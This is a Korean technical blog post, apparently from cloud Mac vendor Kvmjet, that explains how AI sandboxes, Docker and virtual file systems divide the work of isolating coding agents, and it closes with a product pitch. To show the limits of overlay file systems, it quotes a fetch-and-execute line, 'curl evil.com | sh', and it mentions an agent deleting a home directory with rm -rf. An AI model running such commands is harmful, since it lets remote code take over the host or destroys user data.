팀용 Coding Agent 파이프라인을 구축할 때 AI Sandbox, Docker, 가상 파일 시스템(VFS) 세 용어가 뒤섞여 들립니다. 제품 문서는 "Agent가 샌드박스에서 명령 실행", 운영팀은 "Docker로 격리하면 됩니다", IDE는 "가상 워크스페이스 활성화"라고 말합니다. 모두 AI 코드가 머신을 망가뜨리지 않게 하려는 이야기지만, 격리 대상·수명·운영 비용은 완전히 다릅니다.
2026년 전형적인 실패: 단일 Agent 작업을 위해 Docker 이미지를 띄우고 30초 콜드 스타트를 기다리다 토큰 비용을 계산하기 전에 컨테이너가 타임아웃. 또는 격리 없이 Agent가 rm -rf로 홈 디렉터리를 삭제. 본문은 Kvmjet 독자——iOS, Flutter, AI 앱 개발자——를 위해 각 계층이 무엇을 해결하는지, 결정표, Cloud Mac / Apple Silicon 배포까지 정리합니다.
핵심: 대체 관계가 아니라 실행 계층·런타임 계층·파일 뷰 계층의 분업입니다. AI Sandbox는 짧고 신뢰할 수 없는 코드 실행, Docker는 환경 재현, 가상 파일 시스템은 Agent 워크스페이스 뷰와 호스트 오염 방지를 담당합니다.
1. 세 개념이 혼동되는 이유
근본 원인은 셋 모두 "격리" 요구사항 체인에 등장하지만 추상화 수준이 다르다는 점입니다. "Agent 코드를 안전하게 실행"할 때 실제로는 최소 세 가지 질문이 있습니다:
- 프로세스는 어디서 실행되는가——독립 CPU/메모리 경계인가, IDE와 동일 프로세스인가?
- 환경은 어디서 오는가——Node 18인가 22인가? 시스템 라이브러리가 CI와 일치하는가?
- 파일 쓰기는 어디로 가는가——실제 저장소인가, 버릴 수 있는 "환영 디렉터리"인가?
AI Sandbox는 주로 첫 번째 질문에 답하며 코드가 신뢰할 수 없고 수명이 짧다고 가정합니다. Docker는 두 번째에 답하며 반복 가능하고 버전 관리된 환경이 필요하다고 가정합니다. 가상 파일 시스템(Agent 맥락)은 세 번째에 답하며 항상 전체 컨테이너를 띄우지 않고도 롤백 가능한 파일 뷰가 필요하다고 가정합니다.
많은 스택이 두세 계층을 겹칩니다: Cursor Background Agent는 원격 microVM(Sandbox)에서 실행되고, git worktree 스냅샷(VFS)을 마운트하며, Swift/Flutter 툴체인 이미지(Docker)를 사용할 수 있습니다. 계층을 나누면 "전부 Docker 또는 격리 없음" 이분법을 피할 수 있습니다.
2. AI Sandbox: Agent용 단명 실행 환경
AI Sandbox(Code Sandbox, Agent Runtime)는 2024–2026년 Coding Agent와 함께 등장한 카테고리입니다. 대표 구현: E2B, Modal Sandboxes, Daytona, IDE 내장 원격 실행 환경. 공통 특징:
- 초 단위 시작: "Agent 턴마다 새 환경"에 최적화. 전통 CI의 수분 이미지 풀이 아님.
- 자동 파기: 작업 종료 또는 타임아웃 후 리소스 회수. 사이드 채널과 데이터 잔류 감소.
- 정책 기반 네트워크: 기본적으로 외부 차단 또는 allowlist. LLM 생성 코드 유출 방지.
- API 우선: SDK로 생성/실행/파일 읽기. 수동
docker run이 아닌 Agent 루프용.
내부 구현은 gVisor, Firecracker microVM, 경량 컨테이너, WASM 런타임 등 다양합니다. 중요한 것은 SLA가 Agent 턴 빈도와 맞는지입니다. 10초마다 새 환경이 필요하면 전통 Docker 콜드 스타트+이미지 풀은 병목입니다.
전형적 사용 사례: 자동 Issue 수정 봇, 신뢰할 수 없는 단위 테스트 배치, 온라인 저지, 멀티테넌트 SaaS 사용자 스크립트——신뢰 경계가 LLM 출력이고 단일 명령이 악의적일 수 있는 경우입니다.
2.1 AI Sandbox의 한계
Sandbox는 전체 개발 환경을 대체하지 못합니다: Xcode 빌드, iOS Simulator, GUI 디버깅은 실제 macOS 호스트가 필요합니다. "이 Podfile.lock이 프로덕션 CI와 바이트 단위로 일치해야 한다"는 표현도 어렵습니다——Docker 이미지 계층의 강점입니다. 주류 패턴: 신뢰할 수 없는 조각은 Sandbox, 신뢰 빌드는 Docker/베어메탈.
3. Docker: 재현 가능한 환경 패키징
Docker는 Linux namespaces, cgroups, 레이어 이미지(OCI 표준) 기반 범용 컨테이너 플랫폼입니다. "내 머신에서 동작"을 "어디서나 동작"으로 만드는 문제를 해결합니다. Agent 워크플로 가치:
- 의존성 고정:
Dockerfile이 Node, Python, 시스템 라이브러리 버전을 고정. Agent 코드 변경이 환경을 의도치 않게 업그레이드하지 않음. - CI/CD 동형성: 로컬
docker compose up과 GitHub Actions가 동일 이미지. CI 녹색·로컬 빨강 감소. - 장기 실행: 컨테이너는 며칠 실행, 볼륨 연결, Kubernetes 참여——Agent Gateway 서비스에 적합. 일회성 스크립트에는 부적합.
Kvmjet 독자에게 Cloud Mac의 Docker는 Linux 전용 백엔드, OpenClaw Gateway, 벡터 DB, 자체 호스팅 Plane/Jira 대안 등에 쓰이며, 상주 Cloud Mac 개발 환경에서 Xcode와 병행하는 경우가 많습니다.
3.1 Docker를 직접 Agent 샌드박스로 쓰는 함정
docker run을 Agent 실행 계층으로 쓰면:
- 느린 시작: 큰 이미지, 풀, 마운트로 초 단위 SLA 어려움.
- 복잡한 권한과 마운트: Agent는 저장소 읽기/쓰기, 소켓, 때로 GPU 필요——각 capability에
--mount/--cap-add필요. - 수동 수명 주기: Agent 크래시 후 컨테이너 잔류. 외부 오케스트레이션으로 정리 필요.
Docker는 LLM이 docker run 플래그를 조립하기보다 AI Sandbox나 오케스트레이터 내부에서 참조되는 신뢰 측 환경 템플릿으로 더 적합합니다.
4. 가상 파일 시스템: Agent 워크스페이스 뷰
Agent 제품에서 "가상 파일 시스템"은 보통: Agent 경로 뒤에 indirection이 있다. 호스트 레이아웃은 Agent에게 투명하거나 읽기 전용. 일반 패턴:
- Overlay / CoW: 읽기 전용 베이스 이미지 또는 git checkout에 쓰기 가능 upper 레이어. overlay 버리면 롤백. Docker union FS, Sandbox ephemeral layer.
- git worktree / sparse checkout: Agent는 격리 worktree에서 편집. 메인 브랜치 미접촉——많은 IDE Agent 기본값. 컨테이너 오버헤드 거의 없음.
- FUSE / 원격 마운트: 파일은 S3, NFS, 빌드 머신에. 로컬은 POSIX 인터페이스만. 대규모 monorepo, 컴플라이언스.
- IDE 가상 문서: 미저장 버퍼, diff 미리보기——에디터 세션에 묶인 VFS.
VFS 단독으로는 프로세스를 격리하지 않습니다: Agent가 curl evil.com | sh를 실행하면 overlay는 네트워크 호출을 막지 못합니다. "저장소 망가뜨리지 않기"는 해결하지만 "커널 건드리지 않기"는 아닙니다. 그래서 VFS는 Sandbox나 Docker와 겹칩니다.
오버레이 마운트 이해에는 Kernel VFS 문서가 도움이 되지만, Agent 도구 선택 시 "workspace", "snapshot", "rollback"을 언급하는 제품 문서에 집중하세요.
5. 비교 및 조합 전략
| 차원 | AI Sandbox | Docker | 가상 파일 시스템(Agent 계층) |
|---|---|---|---|
| 주요 목표 | 신뢰할 수 없는 코드의 안전 실행 | 환경 재현 및 전달 | 롤백 가능한 파일 뷰 |
| 전형적 수명 | 초~분, 자동 파기 | 분~월, 수동 또는 K8s | 세션/작업 단위, 즉시 레이어 폐기 |
| 시작 비용 | 매우 낮음(Agent 최적화) | 중~높음(이미지 크기 민감) | 매우 낮음(특히 worktree) |
| 프로세스 격리 | 강함(microVM 포함 흔함) | 강함(namespace) | 없음(파일 계층만) |
| 네트워크 정책 | 내장 allowlist/deny | 자체 구성 | 해당 없음 |
| 적합 대상 | 플랫폼, 멀티테넌트 Agent SaaS | DevOps, 자체 호스팅 서비스 | 일상 IDE Agent, 로컬 편집 |
조합 패턴(2026 실무):
- 로컬 Cursor / Copilot 편집: VFS(worktree) 주력. 테스트 전 Docker Compose로 CI 정렬(선택).
- Background Agent 자동 PR: 원격 AI Sandbox 실행 + 저장소 스냅샷 VFS + 툴체인 이미지(Docker 빌드).
- 자체 호스팅 Agent Gateway: Docker/K8s로 Gateway와 메모리 저장소. tool call마다 Sandbox 마이크로 인스턴스.
Cursor Pro Background Agent 요금을 검토 중이라면, 과금은 종종 "Sandbox 실행 분 + 모델 토큰"——Sandbox 계층 이해가 월 구독 외 비용 예측에 도움이 됩니다.
- git 망가뜨리기만 걱정 → VFS / worktree부터.
- CI와 동일 Linux 환경 필요 → Docker 추가.
- 신뢰할 수 없거나 사용자 제출 코드 실행 → AI Sandbox(또는 동등 microVM) 필수.
6. Cloud Mac 배포
Apple Silicon Cloud Mac은 하이브리드 스택의 이상적 노드: 네이티브 Xcode/Flutter + Docker Desktop + 원격 Agent. 권장 단계:
- Phase 1: git worktree로 Agent에 독립 브랜치 뷰. 미검토
git push차단. - Phase 2: Docker Compose로 백엔드와 OpenClaw Gateway 고정. Agent Memory 플러그인과 동일 호스트 배포.
- Phase 3: 신뢰할 수 없는 스크립트 자동 실행 워크플로는 E2B 등 Sandbox API 또는 Linux 사이드카. 베어 macOS에서 알 수 없는 shell 실행 금지.
M4 통합 메모리는 "Docker + IDE + Simulator" 동시 실행을 대부분 x86 VPS보다 부드럽게 하지만, Agent 턴이 매우 촘촘하면 로컬에서 무한 컨테이너 생성보다 Sandbox를 전용 서비스로 오프로드해야 합니다.
7. FAQ
AI Sandbox와 Docker가 같나요?
아닙니다. Docker는 범용 컨테이너 런타임. AI Sandbox는 API, 초 단위 수명, 신뢰할 수 없는 코드 정책을 강조하는 Agent 지향 제품 추상화. 구현이 Docker를 쓸 수 있지만 멘탈 모델은 다릅니다.
Agent에서 가상 파일 시스템이란?
Agent가 보는 쓰기 가능 워크스페이스 뒤의 overlay, worktree, FUSE, 원격 마운트——파일 롤백과 오염 해결. 프로세스 격리 대체 아님.
Cloud Mac에서 무엇을 선택?
일상 개발 VFS + 선택적 Docker. 신뢰할 수 없는 실행은 Sandbox API. 베어 macOS shell에서 LLM 생성 시스템 수준 명령 실행 피하기.
8. 요약
AI Sandbox는 실행과 신뢰 경계, Docker는 환경 재현, 가상 파일 시스템은 워크스페이스 뷰와 롤백——셋을 겹쳐야 완전한 Agent 인프라입니다. 가장 두려운 것을 물으세요: 코드 손상, 환경 드리프트, 악의적 실행? 각각 다른 계층에 대응하며 은탄은 없습니다.
Cloud Mac에서 계층화 Agent 실행 스택 구축
Xcode와 Simulator는 네이티브 macOS 필요. 백엔드 Gateway와 메모리 저장소는 Docker. 신뢰할 수 없는 스크립트는 AI Sandbox로 오프로드——M4 Cloud Mac은 앞 두 계층을 한 대에서 담당하고 세 번째를 API로 전용 Sandbox 서비스에 연결합니다. 통합 메모리, 낮은 대기 전력, ARM 네이티브 툴체인으로 "개발 + Agent 오케스트레이션"을 세 대 VPS로 나눌 필요가 없습니다.
Coding Agent 인프라를 계획 중이라면 Kvmjet M4 Cloud Mac은 비용 효율적인 하이브리드 출발점: 로컬 VFS 편집, CI 정렬 Docker, 신뢰할 수 없는 작업은 원격 Sandbox——세 계층이 명확합니다.